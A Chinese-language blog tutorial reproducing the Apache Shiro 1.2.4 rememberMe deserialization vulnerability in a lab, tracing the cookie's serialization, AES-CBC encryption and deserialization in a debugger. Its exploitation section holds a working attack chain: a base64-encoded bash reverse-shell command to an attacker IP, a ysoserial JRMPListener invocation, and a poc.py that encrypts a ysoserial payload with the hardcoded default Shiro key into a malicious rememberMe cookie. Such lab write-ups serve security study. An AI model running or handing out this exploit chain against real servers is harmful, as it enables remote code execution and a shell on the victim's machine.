Shiro反序列化


Shiro反序列化复现

shiro版本: 1.2.4

修改shiro/samples/web/pom.xml

image-20220901100702093

1. 下载源码使用IdEA打开mvn项目

image-20220901105525789

2. 设置run/debug cnfigures

image-20220901105655185

  • 添加war包

image-20220901105724860

3. 运行程序

image-20220901110025894

image-20220901110034737

4. 访问登录页面,并抓包

image-20220901110123900

image-20220901110434723

image-20220901112117751

5. 停止程序,开始调试

1. 找到shiro-core-1.2.4.jar,打开rememMeManager.class文件,并在onSuccessfullLogin函数前面加断点,点击debug开始调试

image-20220901112758747

  • 在External Libraries中寻找
  • 打下断点后调试

image-20220901113421628

  • 之后,在web页面登录,点击rememberme,抓包,开始调试

image-20220901113633348

序列化过程分析

  1. 首先查看onsuccessfullLogin函数

image-20220901114121902

  • 调用rememberIndentity函数处理cookie中的rememberme信息
  • F8跳过forget函数,F7跟进remembermeIndentity函数
  1. RememberIndentity函数

image-20220901114446610

  • 通过getIndentityToRemeber获取用户(官方术语为subject)身份,这里是root
  • 跟进rememberIdentity方法
  1. rememberIdentity函数

    image-20220901114933941

  • 将账号ID转换成字节形式,跟进看一下如何转换
  1. convertPrincipalsToBytes函数

    image-20220901115255360

  2. encrypte函数

    image-20220901115500781

    image-20220901142949312

    可以看出,加密方式是AES的CBC模式。

    • 跟进getencryptionCiperKey可以看到密钥

    image-20220901143153661

  • shift+F8退回上一步

  • 跟进rememberSeriallizedIndentity,查看后续编码

rememberSerializedindetity函数

image-20220901143709883

  • 将上述AES加密的序列值base编码之后放在cookie中
  • image-20220901143853052

反序列化分析

  1. 将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity函数处,然后发送一个带有 rememberMe Cookie 的请求:

image-20220901144220801

  • 此方法用来根据序列后的字符串返回Id,跟进
  1. rmm.getRememberedPrincipals方法

image-20220901144548290

至此 Cookie 的反序列化、解密流程分析完毕,整个流程大致为:

  1. 读取 cookie 中 rememberMe 值;
  2. base64 解码;
  3. AES解密;
  4. 反序列化

漏洞利用

  1. Kali下载java序列化工具:

    git clone https://github.com/frohoff/ysoserial
  2. 进入目录,打开终端

    mvn package -D skipTests #生成ysoserial-0.0.6-SNAPSHOT-all.jar 

image-20220901194923381

注意JDK版本1.8

制作反弹shell

  • 反弹shell时,用到Runtime.getRuntime().exec(),此函数不能使用管道符号,需要对命令进行编码(编码网址)

    bash -i >& /dev/tcp/192.168.220.4/9001 0>&1
    
    编码后
    
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMy85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}
  • 使用ysoserial中JRMP监听模块,监听5577端口

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5577 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMy85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}'

    image-20220901200513192

  • kali虚拟机监听反弹端口9001

    image-20220901200606331

  • poc.py

image-20220901200717351

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):    
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    #这里密钥key是已知的,在shiro官网上有,可根据不同系统替换密钥
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)    
    file_body = pad(popen.stdout.read())    
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
    return base64_ciphertext
    
if __name__ == '__main__':   
    payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())

在 kali 攻击机 ysoserial-0.0.6-SNAPSHOT-all.jar 文件所在的目录下中执行python poc.py 192.168.220.4:5577,得到 Payload:

image-20220901202436507

rememberMe=I/+mnxmwQYaYXRvpc1ZYXUWkzsLh/how4I9Gj7ChajoAg6RlOeHvKxutmmfa+TZcID6QutrJ9blIqz56unA/01jFAs+gGRxCiMQlJ5Vguuad1rPiO2mNBNa03jYV1d5y1cjVceAEuz94wzLUJMgzmNjNFESKWGg424goUeu99iNeqpYq/MN84ms4mKMxmUMFla6YoJjgnW0SQmblkD/5Crc6B8IQhKQX/oswJJ3LpC91dEgaFdCH/aFJVQCEncAtQZFeseaEd27OUHJPgaqNMsAHo+i/R1wdghABF0A9Gyx0G97Nj9lWtq1t6Xv5jp8zvAE8huu6NiLo0LX2inh6PHqKd4kz55mWpOsDpTwPG1FToVB8FltGGGOrDpZVKt5POAOo+4S8jCobwqMxHrpCKw==

利用poc攻击


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录